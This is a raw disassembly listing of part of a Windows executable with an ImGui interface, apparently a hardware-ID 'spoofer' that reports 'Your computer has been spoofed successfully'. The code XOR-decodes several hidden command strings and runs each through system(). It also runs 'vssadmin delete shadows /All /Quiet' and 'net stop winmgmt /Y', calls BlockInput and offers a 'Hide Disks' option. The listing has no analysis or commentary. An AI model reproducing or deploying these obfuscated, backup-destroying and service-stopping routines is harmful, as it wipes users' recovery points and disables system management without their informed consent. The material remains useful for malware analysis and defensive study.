lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140120bd0]
lea r9, [rbp + 0x170]
movups xmm0, xmmword [0x140120bb0]
mov dword [rbp + 0x190], eax
mov r8d, r14d
movups xmm1, xmmword [0x140120bc0]
mov al, byte [0x140120bd4]
movups xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x194], al
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x25
jl 0x14003bb85
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120e58]
mov eax, dword [0x140120e80]
lea r9, [rbp + 0x170]
movups xmm1, xmmword [str.:71]
mov dword [rbp + 0x198], eax
mov r8d, r14d
movzx eax, word [0x140120e84]
movups xmmword [rbp + 0x170], xmm0
mov word [rbp + 0x19c], ax
movsd xmm0, qword [str.1_5_60_s__]
mov al, byte [0x140120e86]
movsd qword [rbp + 0x190], xmm0
mov byte [rbp + 0x19e], al
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x2f
jl 0x14003bc1d
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401209d8]
mov eax, dword [0x140120a00]
lea r9, [rbp + 0x170]
movups xmm1, xmmword [0x1401209e8]
mov dword [rbp + 0x198], eax
mov r8d, r14d
movzx eax, word [0x140120a04]
movups xmmword [rbp + 0x170], xmm0
mov word [rbp + 0x19c], ax
movsd xmm0, qword [str._1322:6_mhs_]
mov al, byte [0x140120a06]
movsd qword [rbp + 0x190], xmm0
mov byte [rbp + 0x19e], al
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x2f
jl 0x14003bcb5
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140120a88]
movzx eax, word [0x140120ab0]
lea r9, [rbp + 0x170]
movups xmm1, xmmword [0x140120a98]
mov word [rbp + 0x198], ax
mov r8d, r14d
mov al, byte [0x140120ab2]
movups xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x19a], al
movsd xmm0, qword [str._1_7__w_9_]
movsd qword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x180], xmm1
mov eax, r12d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
add r8d, r15d
sub al, cl
add al, r13b
xor byte [r9], al
add r9, r15
cmp r8d, 0x2b
jl 0x14003bd41
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call fcn.140038944
mov rcx, qword [0x140148960]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x140148960]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x140148950]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call fcn.140038944
lea rcx, str.vssadmin_delete_shadows__All__Quiet
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__Y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call fcn.140038f70
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140039e3a
mov rbx, r14
lea rcx, str.___Your_computer_has_been_Spoofed_Successfully.__n
mov qword [rsp + 0x20], r14
mov cl, byte [rbx + rcx]
lea r9, [rbp + 0x1e0]
mov byte [rbp + 0x144], cl
lea rdx, [rbp + 0x144]
mov rcx, rdi
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, r15
cmp rbx, 0x32
jb 0x14003be11
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
jmp 0x14003be69
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x2710
jb 0x14003be5e
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov rdi, qword [rsp + 0x60]
lea rcx, [rbp - 0x80]
movss dword [rbp - 0x80], xmm7
mov dword [rbp - 0x7c], 0x43340000
call fcn.14000e9ac
lea rdx, [rbp - 0x68]
mov dword [rbp - 0x68], 0x43c80000
lea rcx, str.Hide_Disks
mov dword [rbp - 0x64], 0x42c80000
call fcn.14002da34
test al, al
je 0x14003bed6
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x1400b38a6]
lea rdx, str.Temporarily_disabled.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp - 0x70]
movss dword [rbp - 0x70], xmm7
mov dword [rbp - 0x6c], 0x43960000
call fcn.14000e9ac
lea rdx, [rbp - 0x78]
mov dword [rbp - 0x78], 0x43c80000
lea rcx, str.Exit
mov dword [rbp - 0x74], 0x42c80000
call fcn.14002da34
test al, al
jne 0x14003c326
cmp byte [0x140148d41], r14b
je 0x14003c02b
cmp byte [0x140148d40], r14b
jne 0x14003c02b
xor r9d, r9d
movss dword [rsp + 0x20], xmm9
xor r8d, r8d
lea rdx, str.___Your_computer_has_been_spoofed_successfully.
lea rcx, [rbp + 0x20]
call fcn.140008a90
mov rax, qword [0x140148900]
mov rcx, qword [rax + 0x1b90]
movss xmm0, dword [rcx + 0x50]
subss xmm0, dword [rbp + 0x20]
mulss xmm0, xmm10
movss dword [rbp], xmm0
movss xmm0, dword [rcx + 0x54]
lea rcx, [rbp]
subss xmm0, dword [0x140121388]
movss dword [rbp + 4], xmm0
call fcn.14000e9ac
movaps xmm3, xmmword [0x1401214a0]
lea rdx, [0x14011fa0c]
lea rcx, [rbp + 0x148]
movups xmmword [rbp + 0x148], xmm3
call fcn.14002d444
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.14000e8fc
lea rcx, str.Your_computer_has_been_spoofed_successfully.
call fcn.14002d3b0
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call fcn.140038944
mov rcx, qword [0x140148960]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x140148960]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x140148950]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call fcn.140038944
lea rcx, str.vssadmin_delete_shadows__All__Quiet
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__Y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000dd78
call fcn.14000812c
mov rcx, qword [0x140148958]
mov r9d, 3
mov dword [rsp + 0x30], r14d
xor r8d, r8d
movss dword [rsp + 0x28], xmm12
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140148958]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14003c0b1
call fcn.14000858c
mov rax, qword [0x140148900]
mov rcx, qword [rax + 0x1d40]
mov rdx, qword [rcx]
add rdx, 0xb0
mov al, byte [rdx]
neg al
sbb rcx, rcx
and rcx, rdx
call fcn.14002a884
mov rcx, qword [0x140148958]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [rdi + 8], 0x400
je 0x14003c1e4
call fcn.140014ea8
mov rbx, qword [0x140148900]
mov edx, r15d
mov dword [rbp + 0x140], edx
mov eax, dword [rbx + 0x1630]
lea rdi, [rbx + 0x1638]
cmp eax, r15d
jle 0x14003c15c
mov ecx, 8
mov qword [rbp + 0x148], rcx
mov rax, qword [rdi]
mov rsi, qword [rcx + rax]
test byte [rsi + 4], 0x80
jne 0x14003c13e
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x14003c11e
xor edx, edx
mov rcx, rsi
call rax
mov rcx, qword [rbp + 0x148]
mov edx, dword [rbp + 0x140]
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x14003c13e
xor edx, edx
mov rcx, rsi
call rax
mov rcx, qword [rbp + 0x148]
mov edx, dword [rbp + 0x140]
mov eax, dword [rbx + 0x1630]
add edx, r15d
add rcx, 8
mov dword [rbp + 0x140], edx
mov qword [rbp + 0x148], rcx
cmp edx, eax
jl 0x14003c0f1
mov edx, r15d
mov dword [rbp + 0x140], edx
cmp eax, r15d
jle 0x14003c1df
mov ecx, 8
mov qword [rbp + 0x148], rcx
mov rax, qword [rdi]
mov rsi, qword [rcx + rax]
test byte [rsi + 4], 0x80
jne 0x14003c1c3
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x14003c1a3
xor edx, edx
mov rcx, rsi
call rax
mov rcx, qword [rbp + 0x148]
mov edx, dword [rbp + 0x140]
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x14003c1c3
xor edx, edx
mov rcx, rsi
call rax
mov rcx, qword [rbp + 0x148]
mov edx, dword [rbp + 0x140]
add edx, r15d
add rcx, 8
mov dword [rbp + 0x140], edx
mov qword [rbp + 0x148], rcx
cmp edx, dword [rbx + 0x1630]
jl 0x14003c176
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x140148958]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r14
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14003c23d
mov rcx, qword [0x140148958]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14003c23d
call fcn.14002b024
mov rcx, qword [0x140148958]
lea rdx, [0x140148910]
mov rax, qword [rcx]
call qword [rax + 0x80]
call fcn.14002afb0
cmp dword [rbp + 0x1f0], 0x12
jne 0x14003a258
call fcn.14001543c
call fcn.14002b024
mov rcx, qword [0x140148ce0]
test rcx, rcx
je 0x14003c26d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140148ce0], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rbx, qword [0x140148900]
mov rcx, rbx
mov qword [0x140148cf0], r14
call fcn.14000726c
cmp qword [0x140148900], rbx
jne 0x14003c2ab
mov qword [0x140148900], r14
test rbx, rbx
je 0x14003c2d3
mov rcx, rbx
call fcn.14001cad4
mov rax, qword [0x140148900]
test rax, rax
je 0x14003c2ca
dec dword [rax + 0x3b0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140148958]
test rcx, rcx
je 0x14003c2ec
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140148958], r14
mov rcx, qword [0x140148970]
test rcx, rcx
je 0x14003c305
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140148970], r14
mov rcx, qword [0x140148968]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x140039e3d
lea rcx, [0x140148bb8]
call fcn.14003c80c
mov rdx, rax
lea r8, str.Failed
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.140036a18
int3